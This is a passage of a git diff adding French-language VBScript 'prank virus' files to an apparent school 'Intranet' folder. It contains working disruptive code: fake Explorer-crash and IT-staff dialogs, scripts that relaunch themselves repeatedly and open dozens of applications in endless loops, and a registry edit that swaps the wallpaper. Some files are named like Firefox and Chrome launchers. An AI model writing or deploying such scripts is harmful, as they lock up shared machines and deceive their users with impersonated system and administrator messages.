Elec.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\7-Zip\7zFM.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """explorer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """taskmgr.exe""" +Loop + +End Select +End Sub + +On Error Resume Next + Main + If Err.Number Then + WScript.Echo "Error on script" + WScript.Quit 4711 + End If \ No newline at end of file diff --git a/Intranet/error.vbs b/Intranet/error.vbs new file mode 100755 index 0000000..f4db02f --- /dev/null +++ b/Intranet/error.vbs @@ -0,0 +1,8 @@ +result = MsgBox ("The Windows Explorer Stopped Working :(", vbCritical, "Explorer.exe Stopped Working") + +Select Case result +Case vbOk +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "error.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/explorer/Explorer Virus/bahsi.vbs b/Intranet/explorer/Explorer Virus/bahsi.vbs new file mode 100755 index 0000000..d00e671 --- /dev/null +++ b/Intranet/explorer/Explorer Virus/bahsi.vbs @@ -0,0 +1,51 @@ +result = MsgBox ("Bah si", vbInformation ,"bahsi.exe have been found") + +Select Case result +Case vbOk +Do +WScript.Sleep 5000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\7-Zip\7zFM.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """explorer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """taskmgr.exe""" +Loop + +End Select \ No newline at end of file diff --git a/Intranet/explorer/Explorer Virus/explorerno.vbs b/Intranet/explorer/Explorer Virus/explorerno.vbs new file mode 100755 index 0000000..e7a0037 --- /dev/null +++ b/Intranet/explorer/Explorer Virus/explorerno.vbs @@ -0,0 +1,12 @@ +result = MsgBox ("Êtes-vous sûr ?", vbInformation + vbYesNo ,"Areyousure?") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "exploreryes.vbs" + +Case vbNo +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "explorerwindows.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/explorer/Explorer Virus/explorerwindows.vbs b/Intranet/explorer/Explorer Virus/explorerwindows.vbs new file mode 100755 index 0000000..5efc6b1 --- /dev/null +++ b/Intranet/explorer/Explorer Virus/explorerwindows.vbs @@ -0,0 +1,14 @@ +result = MsgBox ("explorer.exe ne s'est pas fermé correctement, voulez vous revenir à la dernière session ?", vbCritical + vbYesNo ,"L'Explorateur Windows ne s'est pas fermer correctement :(") + +Select Case result +Case vbYes +WScript.Sleep 1000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "exploreryes.vbs" + +Case vbNo +WScript.Sleep 1000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "explorerno.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/explorer/Explorer Virus/exploreryes.vbs b/Intranet/explorer/Explorer Virus/exploreryes.vbs new file mode 100755 index 0000000..8ed5ca1 --- /dev/null +++ b/Intranet/explorer/Explorer Virus/exploreryes.vbs @@ -0,0 +1,12 @@ +result = MsgBox ("Vous êtes naif quand même...", vbInformation + vbYesNo ,"Naif.exe viens d'être retrouvé !") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "exploreryesyes.vbs" + +Case vbNo +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "exploreryesno.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/explorer/Explorer Virus/exploreryesno.vbs b/Intranet/explorer/Explorer Virus/exploreryesno.vbs new file mode 100755 index 0000000..133cbf5 --- /dev/null +++ b/Intranet/explorer/Explorer Virus/exploreryesno.vbs @@ -0,0 +1,8 @@ +result = MsgBox ("Si, admetez-le !", vbInformation ,"Naif.exe viens d'être retrouvé !") + +Select Case result +Case vbOk +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "exploreryesyes.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/explorer/Explorer Virus/exploreryesyes.vbs b/Intranet/explorer/Explorer Virus/exploreryesyes.vbs new file mode 100755 index 0000000..e568996 --- /dev/null +++ b/Intranet/explorer/Explorer Virus/exploreryesyes.vbs @@ -0,0 +1,55 @@ +result = MsgBox ("Désolé mais, le virus va se lancer >:)", vbInformation + vbYesNo ,"computer.exe don't works proprely") + +Select Case result +Case vbYes +Do +WScript.Sleep 5000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\7-Zip\7zFM.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """explorer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """taskmgr.exe""" +Loop + +Case vbNo +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "bahsi.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/explorer/Explorer Virus/scary monsters and nice spirits midi.bmp b/Intranet/explorer/Explorer Virus/scary monsters and nice spirits midi.bmp new file mode 100755 index 0000000..106352d Binary files /dev/null and b/Intranet/explorer/Explorer Virus/scary monsters and nice spirits midi.bmp differ diff --git a/Intranet/explorer/Explorer Virus/virusexplorer.vbs b/Intranet/explorer/Explorer Virus/virusexplorer.vbs new file mode 100755 index 0000000..5fe7098 --- /dev/null +++ b/Intranet/explorer/Explorer Virus/virusexplorer.vbs @@ -0,0 +1,71 @@ +Sub Main() + +Do +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +WScript.Sleep 5000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\7-Zip\7zFM.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """explorer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """taskmgr.exe""" +Loop + +End Sub \ No newline at end of file diff --git a/Intranet/explorer/Explorer Virus/wallpaperchanger.vbs b/Intranet/explorer/Explorer Virus/wallpaperchanger.vbs new file mode 100755 index 0000000..ab80e6c --- /dev/null +++ b/Intranet/explorer/Explorer Virus/wallpaperchanger.vbs @@ -0,0 +1,11 @@ +Dim shell : Set shell = CreateObject("WScript.Shell") + +Dim wallpaper : wallpaper = "D:\Programmation\Intranet\explorer\Explorer Virus\scary monsters and nice spirits midi.bmp" + +shell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", wallpaper + +shell.RegWrite "HKCU\Control Panel\Desktop\Wallpaperstyle", 0 + +shell.RegWrite "HKCU\Control Panel\Desktop\tilewallpaper", 0 + +shell.Run "%SYSTEMROOT%\System32\rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True \ No newline at end of file diff --git a/Intranet/explorer/explorercompressed.vbs b/Intranet/explorer/explorercompressed.vbs new file mode 100755 index 0000000..5efc6b1 --- /dev/null +++ b/Intranet/explorer/explorercompressed.vbs @@ -0,0 +1,14 @@ +result = MsgBox ("explorer.exe ne s'est pas fermé correctement, voulez vous revenir à la dernière session ?", vbCritical + vbYesNo ,"L'Explorateur Windows ne s'est pas fermer correctement :(") + +Select Case result +Case vbYes +WScript.Sleep 1000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "exploreryes.vbs" + +Case vbNo +WScript.Sleep 1000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "explorerno.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/explorer/virusexplorer.vbs b/Intranet/explorer/virusexplorer.vbs new file mode 100755 index 0000000..5fe7098 --- /dev/null +++ b/Intranet/explorer/virusexplorer.vbs @@ -0,0 +1,71 @@ +Sub Main() + +Do +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +WScript.Sleep 5000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\7-Zip\7zFM.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """explorer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """taskmgr.exe""" +Loop + +End Sub \ No newline at end of file diff --git a/Intranet/firefox.vbs b/Intranet/firefox.vbs new file mode 100755 index 0000000..51f1b6c --- /dev/null +++ b/Intranet/firefox.vbs @@ -0,0 +1,46 @@ +result = MsgBox ("Est-tu sûr de vouloir utiliser Firefox, il n'est pas de bonne humeur ces temps-ci :/ ?", vbYesNo + vbCritical, "Le Renard à brûler le disque dur") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefoxplus.vbx""" + +Case vbNo +MsgBox "Le Renard Brûle en ce moment, désolé, le virus va devoir revenir :(", vbInformation +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\firefox.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/firefoxplus.vbs b/Intranet/firefoxplus.vbs new file mode 100755 index 0000000..eb6d75b --- /dev/null +++ b/Intranet/firefoxplus.vbs @@ -0,0 +1,46 @@ +result = MsgBox ("Est-tu sûr de vouloir utiliser Firefox, il n'est pas de bonne humeur ces temps-ci :/ ?", vbYesNo + vbCritical, "Le Renard à brûler le disque dur") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\firefoxplus.vbs""" + +Case vbNo +MsgBox "Le Renard Brûle en ce moment, désolé, le virus va devoir revenir :(", vbInformation +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run " %userprofile%\Downloads\Intranet\firefox.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/google.vbs b/Intranet/google.vbs new file mode 100755 index 0000000..28b6aed --- /dev/null +++ b/Intranet/google.vbs @@ -0,0 +1,46 @@ +result = MsgBox ("Nous savons que vous avez installé Google Chrome sans notre permissions, comptez vous le désinstaller ?", vbYesNo + vbCritical, "Message Des Informaticiens") + +Select Case result +Case vbNo +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\googleplus.vbs" + +Case vbYes +MsgBox "Bien, mais temps qu'il ne sera pas désinstaller, cette boite de dialogue reviendra", vbInformation +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/googleplus.vbs b/Intranet/googleplus.vbs new file mode 100755 index 0000000..a009fbe --- /dev/null +++ b/Intranet/googleplus.vbs @@ -0,0 +1,13 @@ +result = MsgBox ("Tu as assez de pages chargés ?", vbYesNo + vbInformation, "Information") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +WScript.Sleep 